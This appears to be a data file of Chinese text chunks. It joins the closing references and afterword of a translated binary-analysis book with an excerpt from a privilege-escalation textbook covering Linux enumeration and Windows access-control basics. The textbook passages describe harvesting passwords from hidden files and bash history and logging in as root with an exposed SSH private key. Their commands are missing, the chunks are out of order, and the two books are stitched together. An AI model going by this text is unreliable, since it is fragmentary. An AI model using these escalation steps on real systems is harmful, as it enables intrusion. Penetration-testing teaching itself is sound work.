    {"text": "参考文献 プログラミングの力を生み出す本（オーム社／ 1998年 3月） デバッガによるx86プログラム解析入門 （秀和システム／ 2007年 7月） Binary Hacks ―ハッカー秘伝のテクニック 100選 （オライリ－·ジャパン／ 2006年 11月） はじめて読む 486―32ビットコンピュータをやさしく語る （アスキ－／ 1994年 9月） Advanced Windows 第 5版 上 （日経BPソフトプレス／ 2008年 10月） Advanced Windows 第 5版 下 （日経BPソフトプレス／ 2008年 10月） Linkers & Loaders（オーム社／ 2001年 9月) Windowsダンプの極意 （アスキー·メディアワークス／ 2008年 11月） デバッガの理論と実装（アスキー·メディアワークス／ 1998年 1月） 12ステップで作る組込みOS自作入門 （カットシステム／ 2010年 5月） 30日でできる! OS自作入門 （マイナビ／ 2006年 3月） アナライジング·マルウェア ――フリーツールを使った感染事案対処 （オライリージャパン／ 2010年 12月） リバースエンジニアリング ――Pythonによるバイナリ解析技法 （オライリージャパン／ 2010年 5月） HACKING 美しき策謀 第 2版 （オライリージャパン／ 2011年 10月） 実践 Metasploit ―ペネトレーションテストによる脆弱性評価 （オライリージャパン／ 2012年 5月） デコンパイリングJava ―逆解析技術とコードの難読化 （オライリージャパン／ 2010年 6月） ハッカーのたのしみ ―本物のプログラマはいかにして問題を解くか （エスアイビ－·アクセス／ 2004年 9月） それがぼくには楽しかったから （小学館プロダクション／ 2001年 5月） Reversing: Secrets of Reverse Engineering （Wiley ／ 2005年 4月） The Shellcoder's Handbook （Wiley ／ 2007年 8月） 后记 “二进制”这个词的涵义十分宽泛。"},
    {"text": "“二进制”原本只是一个数学用语，不过现在人们更多地将它看成是一个和“文本数据”相对的概念。 其实，文本数据也是一种用二进制来表现的数据，我们也可以将它归为二进制的范畴。"},
    {"text": "如今，大数据、机器学习、人工智能等字眼正热，通过这些技术可以推测用户的偏好，将相似的东西匹配起来，或者检测服务器的异常，其应用范围十分广泛。"},
    {"text": "也许这样的比喻有点夸张，但计算机和软件的工作原理对于大多数人来说都是类似黑箱一样的存在，即使不懂这些，在日常生活中也不会遇到任何问题，但如果能够有机会去接触一下这一领域的知识，说不定能够发现新的乐趣。"},
    {"text": "不知道大家有没有读过 Linux 之父 Linus Torvalds 的自传 Just for Fun: The Story of an Accidental Revolutionary 1 ，也许“好玩”真的是推动计算机世界不断发展的原动力。 1 中文版名为《只是为了好玩：Linux 之父林纳斯自传》，人民邮电出版社，2014 年。"},
    {"text": "——译者注 本书中只是介绍了软件技术和二进制技术中很小的一部分，希望各位读者能够从中找到“好玩”的地方，同时也希望大家能够从这本书中获益。"},
    {"text": "在这里可以找到我们： 微博 @图灵教育 : 好书、活动每日播报 微博 @图灵社区 : 电子书和好文章的消息 微博 @图灵新知 : 图灵教育的科普小组 微信 图灵访谈 : ituring_interview，讲述码农精彩人生 微信 图灵教育 : turingbooks 图灵社区会员 张海川（zhanghaichuan@ptpress.com.cn） 专享 尊重版权"},
    {"text": "127920_权限提升技术：攻防实战与技巧_于宏；陈书昊 Table of Contents 版权信息 Preface 前言 Part 1 第一部分 基础知识 第1章 提权概述 第2章 环境与工具的准备 第3章 文件操作 Part 2 第二部分 Windows提权 第4章 Windows系统下的信息收集 第5章 Windows密码操作 第6章 不安全的Windows系统配置项 第7章 Windows系统漏洞与第三方提权 Part 3 第三部分 Linux提权 第8章 Linux系统下的信息收集 第9章 不安全的Linux系统配置项 第10章 Linux系统漏洞与第三方提权 版权信息 版 权 信 息 C O P Y R I G H T 书名：权限提升技术：攻防实战与技巧 作者：于宏；陈书昊 出版社：机械工业出版社 出版时间：2024年2月 ISBN：9787111742609 字数：166千字 本书由机械工业出版社有限公司授权得到APP电子版制作与发行 版权所有·侵权必究 本部分将介绍在Linux系统中提升权限的多种方法。与Windows不同，Linux存在多个发行版本，因此在提权过程中可能存在配置文件不兼容等问题。Linux提权的大致流程如下。"},
    {"text": "第8章 Linux系统下的信息收集 第 8 章 L i n u x 系 统 下 的 信 息 收 集 在权限提升阶段，信息收集应该是渗透测试人员迈出的第一步。 通过信息收集，我们能够快速了解目标系统的详细信息，确定有哪些漏洞可以尝试利用，并找到最有效的权限提升方法，从而更快地实现权限提升的目标。"},
    {"text": "8 . 1 服 务 器 信 息 枚 举 8 . 1 . 1 判 断 是 否 使 用 虚 拟 化 技 术 在现如今虚拟化和容器大行其道的时代，判断当前机器是否能够提权时，虚拟化技术可能会成为一个重要的因素。"},
    {"text": "图8-1 判断是否开启虚拟化 执行以下命令，通过查找是否存在“docker”字符串来判断当前Shell是否处于Docker容器中，如图8-2所示。 图8-2 判断是否在Docker容器中 如果当前没有处于Docker容器中，则不会有任何关于“docker”字符串的回显。"},
    {"text": "该命令可以列出当前操作系统的名称、版本、架构、主机名以及内核版本等信息。 图8-3 查看系统信息 8 . 1 . 3 内 核 版 本 信 息 执行以下命令，查看系统内核版本信息，如图8-4所示。"},
    {"text": "▲图8-4 查看系统内核版本信息 图8-5 查看系统架构信息 8 . 1 . 5 发 行 版 本 信 息 执行以下命令，查看系统发行版本信息，如图8-6所示。"},
    {"text": "8 . 2 用 户 信 息 枚 举 8 . 2 . 1 当 前 用 户 信 息 执行以下命令，查看当前用户，此命令仅列出当前用户的用户名，如图8-8所示。 ▲图8-7 查看系统主机名信息 图8-8 查看当前用户 执行以下命令，查看当前用户详细信息，包括用户名、用户ID和用户属组及组ID，如图8-9所示。"},
    {"text": "执行这条命令可能会查询到当前用户隶属于一些特定组（如lxd组、docker组、disk组等），这些特定组都属于不安全的用户组，有助于进行权限提升。"},
    {"text": "执行以下命令，查看系统中所有的用户组，如图8-11所示。 ▲图8-10 查看所有用户、用户的家目录等信息 图8-11 查看所有用户组 8 . 2 . 3 i d 和 对 应 组 信 息 执行以下命令，获取系统中所有用户及其id和对应组信息，如图8-12所示。"},
    {"text": "8 . 2 . 4 在 线 用 户 信 息 执行以下命令，查看当前登录到系统的用户信息，此命令会输出用户的登录名、所使用的终端、当前正在执行的命令、登录时间和系统运行时间等信息，如图8-13所示。"},
    {"text": "▲图8-12 获取所有用户及其id和对应组信息 图8-13 查看当前登录到系统的用户信息 执行以下命令，查看系统当前登录的用户，如图8-14所示。"},
    {"text": "图8-14 查看系统当前登录的用户 8 . 2 . 5 历 史 登 录 信 息 执行以下命令，会显示所有用户最后一次的登录信息，包括用户名、登录时间和登录终端，如图8-15所示。"},
    {"text": "获取到服务器的历史登录信息，有助于我们了解管理员或其他用户的登录习惯，了解哪些用户是长久未登录的，以方便后续爆破等操作。 图8-15 查看历史登录信息 8 . 2 . 6 超 管 用 户 信 息 执行以下命令，查找系统中的所有超管用户，有助于进行密码爆破等操作，如图8-16所示。"},
    {"text": "图8-16 查找所有超管用户 8 . 3 环 境 配 置 枚 举 Linux中的环境变量是一组名称和值的键值对，存储着系统和用户的配置信息，如： ❑ 系统路径：PATH环境变量存储了系统中可执行文件的位置，用户可以在命令行中直接执行这些文件；"},
    {"text": "8 . 3 . 1 系 统 环 境 信 息 执行以下命令，查看系统环境变量，如图8-17所示。 图8-17 查看系统环境变量 8 . 3 . 2 环 境 变 量 中 的 路 径 信 息 执行以下命令，查看环境变量中的路径信息，如图8-18所示。 图8-18 查看环境变量中的路径信息 $PATH类似于Windows环境变量中的Path字段，里面包含了以冒号分隔的路径列表，指定了操作系统应该搜索的可执行文件的位置。"},
    {"text": "8 . 3 . 4 可 用 S h e l l /etc/shells文件中包含了系统中安装的所有可用Shell的路径，执行以下命令可进行查看，如图8-20所示。 ▲图8-19 查看用户变量及配置文件 图8-20 查看可用Shell的路径 8 . 4 网 络 信 息 枚 举 8 . 4 . 1 网 络 接 口 信 息 1 . 方 式 1 执行以下命令，查看系统的网络接口信息，包括接口名称、IP地址、子网掩码、硬件地址等，如图8-21所示。"},
    {"text": "图8-21 查看网络接口信息（方式1） 2 . 方 式 2 执行以下命令，查看网络接口信息，如图8-22所示。 图8-22 查看网络接口信息（方式2） 网络接口信息能够让渗透测试人员了解当前服务器是否存在多网卡、多内网的情况，有助于后续的横向移动操作。 3 . 方 式 3 通过查看IP配置文件也可以查看网络接口信息。"},
    {"text": "❑ Ubuntu 18之前的版本查看/etc/network/interfaces文件； ❑ Ubuntu 18之后的版本查看/etc/netplan/*.yaml文件； ❑ CentOS 8及之前的版本查看/etc/sysconfig/network-scripts/ifcfg-*文件； ❑ CentOS Stream 9查看文件夹/etc/NetworkManager/system-connections/下的配置文件。"},
    {"text": "图8-24 查看IP路由表 8 . 4 . 4 系 统 网 络 连 接 信 息 执行以下命令，查看所有网络连接信息，包括网络接口、路由、协议、进程和TCP/IP统计信息，如图8-25所示。 图8-25 查看网络连接信息 执行以下命令，查看正在监听的TCP端口，如图8-26所示。 执行以下命令，查看正在监听的UDP端口，如图8-27所示。 ▲图8-26 查看正在监听的TCP端口 图8-27 查看正在监听的UDP端口 8 . 4 . 5 D N S 信 息 执行以下命令，查看DNS配置文件，如图8-28所示。"},
    {"text": "图8-28 查看DNS配置文件 8 . 5 系 统 进 程 枚 举 执行以下命令，查看系统进程，包括进程的PID、所属用户、CPU占用率、内存占用等，如图8-29所示。 图8-29 查看系统进程 执行以下命令，查看以root权限运行的进程，如图8-30所示。 图8-30 查看以root权限运行的进程 执行以下命令，查看进程所对应的二进制文件及权限信息，如图8-31所示。"},
    {"text": "图8-31 查看进程所对应的二进制文件及权限信息 8 . 6 特 权 访 问 枚 举 sudo是Linux系统中的一个常用命令，它允许普通用户在提供正确的密码后临时获得超级用户的权限来执行其他命令。"},
    {"text": "8 . 6 . 1 s u d o e r s 文 件 权 限 执行以下命令，查看/etc/sudoers文件，如图8-32所示。 /etc/sudoers是一个重要的系统配置文件，用于授权某些用户以超级用户权限执行特定的命令。"},
    {"text": "图8-32 查看/etc/sudoers文件 8 . 6 . 2 无 密 码 访 问 s u d o 执行以下命令，查看是否可以无密码使用sudo，如图8-33所示。 图8-33 查看是否可以无密码使用sudo ❑ 参数-S表示从标准输入获取密码，也就是获取前面的空密码；"},
    {"text": "crontab文件是定时任务的配置文件，用于存储计划执行的命令和时间信息。 每个用户都可以有自己的crontab文件，其中包含该用户的定时任务。"},
    {"text": "❑ /etc/cron.daily、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly目录下分别指定了每天、每小时、每个月、每周运行一次的脚本。"},
    {"text": "8 . 7 . 2 所 有 用 户 的 定 时 任 务 执行以下命令，列举所有用户的定时任务（需要root权限），如图8-35所示。 图8-35 列出所有用户的定时任务（需要root权限） 8 . 7 . 3 当 前 用 户 的 定 时 任 务 执行以下命令，查看当前用户的定时任务，如图8-36所示。 8 . 7 . 4 其 他 用 户 的 定 时 任 务 通过指定参数-u来查看指定用户的定时任务，仅root权限才可查看其他用户的定时任务，如图8-37所示。 ▲图8-36 查看当前用户的定时任务 图8-37 查看其他用户的定时任务 8 . 8 软 件 信 息 枚 举 Linux有很多发行版本，每个发行版本查看安装软件的命令都有所不同。"},
    {"text": "执行以下命令，CentOS查看已安装的程序，如图8-38所示。 图8-38 CentOS查看已安装的程序 执行以下命令，Debian、Ubuntu查看已安装的程序，如图8-39所示。 或 图8-39 Debian、Ubuntu查看已安装的程序 8 . 9 文 件 枚 举 Linux系统中万物皆文件，如硬件设备、程序、文件夹和数据，都以文件形式显示。"},
    {"text": "8 . 9 . 1 常 用 工 具 执行以下命令，查看系统中是否安装了文件传输、Shell反弹、代码编译等工具，如图8-40所示。 图8-40 搜索常用工具 8 . 9 . 2 系 统 敏 感 文 件 权 限 执行以下命令，查看系统敏感文件权限，如图8-41所示。 图8-41 查看系统敏感文件权限 8 . 9 . 3 特 殊 权 限 的 文 件 执行以下命令，查找设置了SUID特殊权限的文件，如图8-42所示。 图8-42 查找设置了SUID特殊权限的文件 执行以下命令，查找设置了SGID特殊权限的文件，如图8-43所示。 图8-43 查找设置了SGID特殊权限的文件 8 . 9 . 4 可 写 文 件 查找系统中哪些文件是当前用户可写的，如果一些特权操作调用了这些文件，那么就有可能修改其内容以达到权限提升的目的。 1 . 方 式 1 执行以下命令，查找不属于当前用户但是当前用户可写的文件（排除/proc/和/sys/目录下的文件），如图8-44所示。 2 . 方 式 2 执行以下命令，查找当前用户可写的所有文件（排除/proc/和/sys/目录下的文件），如图8-45所示。 ▲图8-44 查找可写文件（方式1） 图8-45 查找可写文件（方式2） 8 . 9 . 5 指 定 扩 展 名 的 文 件 执行以下命令，在文件系统中查找扩展名为.bak的文件，如图8-46所示。"},
    {"text": "图8-46 查找.bak文件 8 . 9 . 6 关 键 字 文 件 执行以下命令，在当前目录及其子目录中查找扩展名为.php的文件，搜索并列出文件内容中包含字符串“pass”的行，输出行号，如图8-47所示。"},
    {"text": "图8-47 查找包含关键字的文件 8 . 9 . 7 历 史 命 令 记 录 文 件 执行以下命令，查找服务器上可能存在的历史命令记录文件，如Bash历史记录文件、MySQL历史记录文件等，如图8-48所示。 图8-48 查找历史命令记录文件 查看某个用户的历史命令记录文件，如图8-49所示。"},
    {"text": "图8-49 查看某个用户的历史命令记录文件 8 . 9 . 8 隐 藏 文 件 现在，很多云服务会自动生成高强度密码。 由于这些服务的密码过于复杂，很难记忆，因此管理员可能会将一些凭据文件以隐藏文件的方式（“.”开头的文件）保存在服务器中，或者是执行命令时在参数中直接附带密码，而这些命令将会被保存在.bash_history（bash历史命令文件）中。"},
    {"text": "执行以下命令，查找home目录下的隐藏文件，如图8-50所示。 图8-50 查找home目录下的隐藏文件 从图8-50可见，/home/user/目录下存在一个含有登录密码的隐藏文件。"},
    {"text": "执行以下命令，查看bash历史命令记录文件，如图8-51所示。 图8-51 查看bash历史命令记录文件 从图8-51可见，该用户曾使用sudo命令添加过账户名为rootyh的超级用户。"},
    {"text": "图8-54 查看auth.txt内容 8 . 9 . 1 0 S S H 私 钥 文 件 不仅可以使用SSH账号和密码连接Linux服务器，一些管理员还喜欢使用SSH私钥的方式登录系统。"},
    {"text": "如果管理员不安全地存储了私钥文件而导致私钥文件可以被任意用户读取，那么就意味着任何拥有该私钥的用户都可以连接到使用对应公钥的服务器。"},
    {"text": "图8-56 查看私钥文件权限及内容 将id_rsa文件复制到Kali，执行以下命令，设置权限并进行连接，成功地以root用户登录了目标服务器，如图8-57所示。"},
    {"text": "图8-57 使用私钥文件登录 8 . 1 0 信 息 收 集 辅 助 工 具 8 . 1 0 . 1 M e t a s p l o i t 模 块 在Metasploit的post/linux/gather/文件夹下有很多针对服务器信息收集的后渗透模块。"},
    {"text": "enum_configs可以枚举服务器上安装的应用程序和服务（如Apache、MySQL等）； enum_network可以枚举服务器上的网络信息，如防火墙、网络接口、网络活动等。"},
    {"text": "图8-58 使用Metasploit模块收集信息 8 . 1 0 . 2 L i n E n u m 脚 本 无论是使用Metasploit还是手动收集，都需要逐个收集一系列的信息，非常烦琐，这时可以使用一些开源的脚本对目标进行自动化的信息收集，如LinEnum。"},
    {"text": "将脚本放置在Kali中并执行以下命令，启动HTTP服务，如图8-59所示。 图8-59 启动HTTP服务 执行以下命令，将脚本下载至服务器中并添加可执行权限后执行，如图8-60所示。"},
    {"text": "渗透测试是一项技术含量非常高的工作，需要掌握广泛的知识和技能。在学习渗透测试相关技术的初始阶段，很多读者容易陷入“抄袭式”学习的误区，只是跟着教程上的步骤一步一步地操作，缺乏对操作原理和基础知识的理解。这种学习方式往往会让人感到浮躁，而且难以举一反三，因为当目标程序或系统稍有改动时，就需要再次对之前学过的知识进行深入理解，才能做到灵活应对。因此，在学习渗透测试的过程中，理解基础知识和操作原理是非常必要的，只有掌握了基础知识和操作原理，才能更好地理解实际应用场景中遇到的问题，从而更好地解决问题。"},
    {"text": "第1章 提权概述 第 1 章 提 权 概 述 本章将介绍权限和权限提升的基本概念及目的，以及Windows和Linux两种操作系统下与权限管理相关的知识点，包括： ❑ 什么是权限和权限提升，为什么需要进行权限提升；"},
    {"text": "1 . 1 权 限 与 权 限 提 升 1 . 1 . 1 权 限 的 概 念 从计算机的角度来说， 权 限 是 指 系 统 或 程 序 中 的 不 同 用 户 对 文 件 夹 、 文 件 、 服 务 和 注 册 表 等 系 统 资 源 、 对 象 和 任 务 的 访 问 与 控 制 能 力 。 通俗一点来讲，一个程序或系统可以供多个用户使用，权限就是不同用户被允许做的事情。 在一个计算机系统中，可以分配给用户的权限包括但不限于访问文件夹和文件、修改文件、安装软件、运行程序、访问网络资源和管理系统服务等。"},
    {"text": "权限管理的目的是确保系统安全、稳定地运行。 限制用户对系统资源和对象的访问权限，能够避免出现用户误操作或恶意操作而导致系统崩溃或数据丢失的情况。 同时，权限管理也可以避免未经授权的用户访问系统资源和对象，从而确保系统的安全。 因此，权限是保护计算机系统安全的一项重要机制。"},
    {"text": "其中，超级管理员具有对系统的完全控制权限，包括Web服务和数据库服务，而员工A只有对Web服务的完全控制权，员工B只有对数据库服务的完全控制权。"},
    {"text": "权限提升（Privilege Escalation）技术，渗透测试人员常称之为“提权”， 是 指 在 计 算 机 系 统 中 ， 通 过 一 些 技 术 手 段 使 一 个 用 户 账 户 或 进 程 获 得 了 超 出 其 本 来 预 期 或 授 权 范 围 的 非 法 访 问 权 限 的 一 种 攻 击 方 式 。 权限提升攻击技术是渗透测试攻击链条中的重要一环，渗透测试人员在获取初始立足点（通常是普通用户权限，如WebShell、反弹的CmdShell或BashShell等）后，通过操作系统漏洞利用、错误的配置、不安全的服务权限等特定的技术手段，取得特定用户或超级管理员、程序、系统甚至整个网络的完全控制权。 1 . 1 . 3 权 限 提 升 的 分 类 根据渗透测试人员的目标，权限提升可以分为“水平权限提升”和“垂直权限提升”。 ❑ 水平权限提升：是指获取到系统或程序的其他相同级别的用户账户的过程，可以掌控其他用户的功能、数据；"},
    {"text": "渗透测试人员通过SQL注入、上传木马、命令执行等方法获得立足点，进而获取到数据库服务权限的过程，即为水平权限提升。 渗透测试人员通过系统漏洞利用、系统配置错误等方法获取到超级管理员权限的过程，即为垂直权限提升。 图1-2 水平权限提升和垂直权限提升的概念图 1 . 1 . 4 权 限 提 升 的 目 的 为什么要提升权限？"},
    {"text": "在某些情况下，获取最高权限可能只是任务的开始，因为渗透测试人员还需要维持权限并在网络中隐藏自己，以便在后续的任务中进一步扩大战果，获得更多资产和信息。 获得最高权限可以使渗透测试人员更加游刃有余地进行后续工作，不受到干扰。"},
    {"text": "高权限用户包括但不限于系统超级管理员级别的账户、本地管理员账户、具有类似管理员权限的账户，以及可以访问特定资源和特定系统、执行特定功能的账户等。"},
    {"text": "取得更高级别账户的控制权后，可以对目标进行增、删、改、查（修改信息和系统配置，获取敏感数据，破坏系统信息，影响系统的正常运行等）等，这也为后渗透阶段中的权限维持、横向移动提供了更多的便利性和隐蔽性。"},
    {"text": "因此，无论是渗透测试人员还是IT运维人员，都需要熟悉权限提升攻击技术中的常见漏洞和攻击方式，以便能够检测和防范此类攻击。 权限提升技术是一种渗透测试人员和红队成员必须要掌握的技能。"},
    {"text": "1 . 2 W i n d o w s 提 权 基 础 知 识 本节将简单介绍Windows系统中的用户和用户组、访问控制列表、安全标识符、身份验证、访问令牌、权限分配、Windows哈希、用户账户控制、Windows服务等与权限提升技术相关的基础知识。"},
    {"text": "1 . 本 地 用 户 账 户 本地用户账户是安全主体，用于标识可以使用此计算机的用户，可以保证计算机安全，也用于控制用户和服务对服务器资源的访问。"},
    {"text": "可以执行cmd命令“net user”来查看本地用户账户，也可以执行PowerShell cmdlet命令“Get-LocalUser”，或在桌面模式下打开本地用户和组管理控制台（lusrmgr.msc）来查看本地用户账户，如图1-3～图1-5所示。 ▲图1-3 执行cmd命令查看本地用户账户 ▲图1-4 执行PowerShell cmdlet命令查看本地用户账户 图1-5 打开本地用户和组管理控制台来查看本地用户账户 Windows系统中常见的账户有如下几种。"},
    {"text": "❑ 管理员账户：默认名称为Administrator，是管理计算机（域）的内置账户，是每台计算机在安装过程中创建的第一个账户。 管理员账户可控制本地计算机上的文件、目录、服务和其他资源，可以创建其他本地用户、分配用户权限，可通过更改用户权限来控制本地资源，但对一些系统服务、程序、进程的访问受限。"},
    {"text": "▲图1-6 添加一个用户 图1-7 删除一个用户 或在本地用户和组管理控制台中右键单击空白处，选择“新用户”命令，可以添加一个用户，并可配置该用户的一些属性，如图1-8所示。 图1-8 在控制台添加用户并配置属性 双击一个用户，可以修改该用户的配置文件、主文件夹和隶属组，如图1-9所示。"},
    {"text": "执行cmd命令“net localgroup”，或执行PowerShell cmdlet命令“Get-LocalGroup”，或在本地用户和组管理控制台中可以查看本地用户组，如图1-10～图1-12所示。"},
    {"text": "▲图1-9 修改用户配置 ▲图1-10 执行cmd命令查看本地用户组 ▲图1-11 执行PowerShell命令查看本地用户组 图1-12 在本地用户和组管理控制台中查看本地用户组 在渗透测试中常用的组如下。"},
    {"text": "❑ 管理员组（Administrators）：Administrators具有广泛的系统权限，可以执行许多敏感的操作，包括安装和卸载应用程序、更改系统设置、访问和修改系统文件、管理系统服务等。 ❑ 高权限用户组（Power Users）：Power Users是Windows系统中的一个特殊的本地用户组，组成员可以在计算机上执行某些系统管理任务，但不具备完全的管理员权限，无法更改系统级别的设置、管理服务或访问敏感的系统文件和文件夹。"},
    {"text": "❑ 信任程序模块（TrustedInstaller）：TrustedInstaller是从Windows Vista开始出现的一个内置安全主体，本体是“Windows Modules Installer”服务，在Windows系统中拥有安装、修改和删除Windows系统组件，修改受保护的系统文件和文件夹的权限，以一个用户组的形式出现。"},
    {"text": "❑ 经过身份验证的用户组（Authenticated Users）：Authenticated Users是Windows系统中的一个默认本地用户组，包括所有已通过身份验证的用户和计算机账户。"},
    {"text": "3 . 系 统 内 置 账 户 Local System（本地系统）账户是Windows系统中的一个内置账户，在Windows XP及以下版本的计算机中拥有最高权限，真正具有对计算机的完全控制权限，能够随意操纵文件系统和注册表、配置计划任务、操作Windows Installer安装包、管理Windows系统更新等，通常是渗透测试人员的目标权限。"},
    {"text": "但TrustedInstaller问世之后，微软分割了SYSTEM的权限，只有TrustedInstaller权限才可以完全控制系统文件，如图1-13和图1-14所示。 ▲图1-13 SYSTEM的权限 图1-14 TrustedInstaller的权限 Local Service（本地服务）账户是Windows系统中的一个内置账户，在Windows中主要用于运行本地服务，如日志服务、事件服务等。 Local Service账户在本地计算机上拥有最低权限，在网络中是匿名的身份，仅能访问本地计算机上的资源。"},
    {"text": "Network Service（网络服务）账户是Windows系统中的一个内置账户，在Windows中主要作为网络服务的运行账户，如Web服务和FTP服务等。 Network Service账户具有较少的权限，仅能访问本地网络上的资源，无法访问其他计算机上的资源，也无法执行系统级别的操作。"},
    {"text": "4 . 常 用 命 令 表1-1列出了提权中常用的操作用户和用户组的命令。 表 1 - 1 常 用 的 操 作 用 户 和 用 户 组 的 命 令 1 . 2 . 2 访 问 控 制 列 表 表1-2列出了关于访问控制列表的一些词汇及对应含义。"},
    {"text": "表 1 - 2 关 于 访 问 控 制 列 表 的 一 些 词 汇 及 对 应 含 义 访问控制列表（ACL）是由ACE（访问控制条目）组成的列表，ACL中的每个ACE都标识一个受托人并指定该受托人允许、拒绝或审计的访问权限，如图1-15所示。"},
    {"text": "如果安全对象没有配置DACL，那么系统将授予所有人完全访问权限； 如果安全对象配置了DACL，但DACL里面没有配置任何ACE，那么系统将拒绝所有访问该对象的尝试。"},
    {"text": "系统会依次检查所有的ACE，直到找到至少一个ACE来允许所有请求的访问权限，或者所有请求的访问权限都被拒绝，如图1-16所示。 ▲图1-15 访问控制列表（ACL） 图1-16 访问控制列表（ACL）应用 在图1-16中，ACE1适用于线程A的访问令牌中的用户User1，所以系统不再继续检查ACE，直接给出拒绝访问。"},
    {"text": "1 . 2 . 3 安 全 标 识 符 安全标识符（SID）是用于标识安全主体的唯一符号，每个用户、每个用户组、每个进程都有唯一的SID。 每当用户登录系统或打开进程时，系统都会从本地安全数据库中检索出该用户的SID，并将其放在该用户的访问令牌中。 所以，虽然用户使用账号和密码登录系统，但是操作系统是使用访问令牌中的SID在与Windows安全性的所有后续交互中识别用户的。"},
    {"text": "1 . 查 看 当 前 用 户 的 S I D 执行以下命令来查看当前用户的SID，如图1-17所示。 图1-17 查看当前用户的SID 2 . 查 看 所 有 用 户 的 S I D 执行以下命令来查看此计算机中所有用户的SID，如图1-18所示。 图1-18 查看所有用户的SID 例如，“S-1-5-21-1884633534-2219064468-1013623519-500”标识符的含义如下。"},
    {"text": "❑ NTAUTHORITY\\INTERACTIVE：S-1-5-4，以交互方式登录的所有用户的组； ❑ NTAUTHORITY\\AuthenticatedUsers：S-1-5-11，经过身份验证的用户；"},
    {"text": "❑ SAM（Security Account Manager，安全账户管理）文件是一个Windows操作系统中管理用户账户和身份验证的数据库文件。 SAM文件存储在系统目录下的“/system32/config/”文件夹中，通常处于锁定状态，不能直接访问、复制或移动，只有系统管理员及具有更高权限的用户才能访问该文件，如图1-20所示。 在注册表“HKEY_LOCAL_MACHINE”的根键下，存在一个名为SAM的子键，它也用于存储本地用户账户信息。"},
    {"text": "当一个用户成功完成身份验证并登录系统后，会创建一个成功的登录会话（Session），Windows返回该用户的SID和所属用户组的SID，LSA（Local Security Authority）会生成该用户的访问令牌。 访问令牌是由用户SID、用户组SID、本地安全策略分配给用户和用户组的特权列表、当前登录会话的登录SID、所有者SID、主要安全组的SID、DACL（自主访问控制列表）、访问令牌来源、令牌类型（主令牌或模拟令牌）、限制SID、模拟级别、其他统计信息等组成的。"},
    {"text": "图1-20 SAM文件的位置 访问令牌附加到用户会话的初始进程userinit.exe，该进程存储在注册表HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon下的Userinit键值中。"},
    {"text": "接着，它会在注册表中查找Shell键值（默认为explorer.exe），并创建进程来运行explorer.exe，也就是文件资源管理器——Windows的图形化界面。 接下来用户的所有操作创建的子进程和线程都在父进程（explorer.exe）的令牌副本下运行，除非某个进程在创建时自己指定了令牌。"},
    {"text": "访问令牌分为主令牌（Primary Token）和模拟令牌（Impersonation Token）。 主令牌是Windows操作系统中与进程关联的访问令牌，也被称为授权令牌（Delegation Token）、进程令牌。 每个进程都有一个主令牌，用于描述与该进程关联的安全上下文，包括进程的用户账户、权限集和令牌类型等。 主令牌通常由本地安全认证服务器（LSA）创建并分配给进程。"},
    {"text": "模拟令牌是由一个有足够权限的进程生成的访问令牌，可以在进程不影响其真实身份的情况下模拟另一个用户或进程的身份来执行特定操作。 模拟令牌包含了模拟的用户或进程的身份信息和权限。 令牌是有模拟级别的，分别是SecurityAnonymous（匿名）、SecurityIdentification（标识）、SecurityImpersonation（模拟）、SecurityDelegation（委托）。"},
    {"text": "❑ SecurityAnonymous：服务器无法模拟或标识客户端； ❑ SecurityIdentification：服务器可以获取客户端的标识和特权，但无法模拟客户端； ❑ SecurityImpersonation：服务器可以模拟本地系统上客户端的安全上下文； ❑ SecurityDelegation：服务器可以在远程系统上模拟客户端的安全上下文。"},
    {"text": "1 . 2 . 6 权 限 分 配 执行命令“whoami/priv”来获取当前用户或进程的令牌权限，图1-21所示为受限的令牌权限，图1-22所示为管理员会话的令牌权限。"},
    {"text": "▲图1-21 受限的令牌权限 图1-22 管理员会话的令牌权限 用户权限是指用户能够在本地计算机或域中执行的某些操作，包括登录权限和其他权限。"},
    {"text": "可以使用本地组策略编辑器（gpedit.msc）来分配权限，位置是本地计算机策略→计算机配置→Windows设置→安全设置→本地策略→用户权限分配，如图1-23所示。 图1-23 本地组策略编辑器 在自写程序中可以使用Windows API（AdjustTokenPrivileges）来操作权限的启用或禁用。"},
    {"text": "在PowerShell下可以使用PoshPrivilege模块进行权限的增加、删除、启用、禁用，安装PoshPrivilege模块如图1-24所示。 图1-24 安装PoshPrivilege模块 执行以下命令启用某些权限，如图1-25所示。"},
    {"text": "表 1 - 3 P o s h P r i v i l e g e 操 作 权 限 的 常 用 命 令 图1-25 启用权限 也可以使用调试工具WinDbg基于内核模式的扩展PrivEditor，加载扩展如图1-26所示。"},
    {"text": "▲图1-26 加载扩展 ▲图1-27 查看进程的令牌权限 图1-28 移除某个权限 下面列举了一些常用的命令。 ❑ !addpriv<进程PID><令牌权限>：添加权限； ❑ !enablepriv<进程PID><令牌权限>：启用权限； ❑ !disablepriv<进程PID><令牌权限>：禁用权限； ❑ !enableall<进程PID>：启用全部权限； ❑ !disableall<进程PID>：禁用全部权限。"},
    {"text": "1 . L M H A S H LM（LAN Manager）HASH是一种用于创建哈希密码的技术，属于Windows旧版本的较弱的技术，现在已经被淘汰（自Windows Vista和Windows Server 2008问世之后，LM HASH被禁用）。"},
    {"text": "LM HASH加密密码不区分大小写（全部字符转换为大写），密码长度最多为14个字符，加密过程是将明文密码转换为十六进制，然后平均分成两组分别加密，如果密码长度不足7个字符，则用“0”填充，再使用字符串“KGS！"},
    {"text": "1 . 2 . 8 用 户 账 户 控 制 用户账户控制（User Account Control，UAC）是自Windows Vista开始加入的安全控制机制，它用于通知用户是否允许应用程序对系统文件或磁盘进行操作。 UAC可以有效地阻止未经授权的应用程序的自动安装和运行，防止对操作系统进行未经授权的更改，以及对用户有意或无意地删除/修改系统文件、修改系统设置等操作进行提醒。 当系统配置了UAC时，除非管理员授权，否则应用程序和任务始终在非管理员账户的安全上下文中运行，如图1-30所示。"},
    {"text": "图1-31 用户账户控制设置 在“本地安全策略”窗口中也可以配置UAC，如图1-32所示。 图1-32 在“本地安全策略”窗口中配置UAC 在Windows Vista及更高版本中，进程以不同级别的完整性运行，如下： ❑ Installer：安装程序；"},
    {"text": "大多数应用程序都是在中级别完整性进程中运行的，包括本地管理员会话，如图1-33所示。 图1-33 多数应用程序在中级别完整性进程中运行 如果当前用户是管理员用户，则用户登录成功时会生成两种令牌，一种是高级别完整性访问令牌，另一种是中级别的普通用户令牌。"},
    {"text": "常规操作时使用中级别令牌，需要执行特权操作时会按照UAC的当前设置来决定执行方式，正常情况下会弹出“你要允许以下程序对此计算机进行更改吗？"},
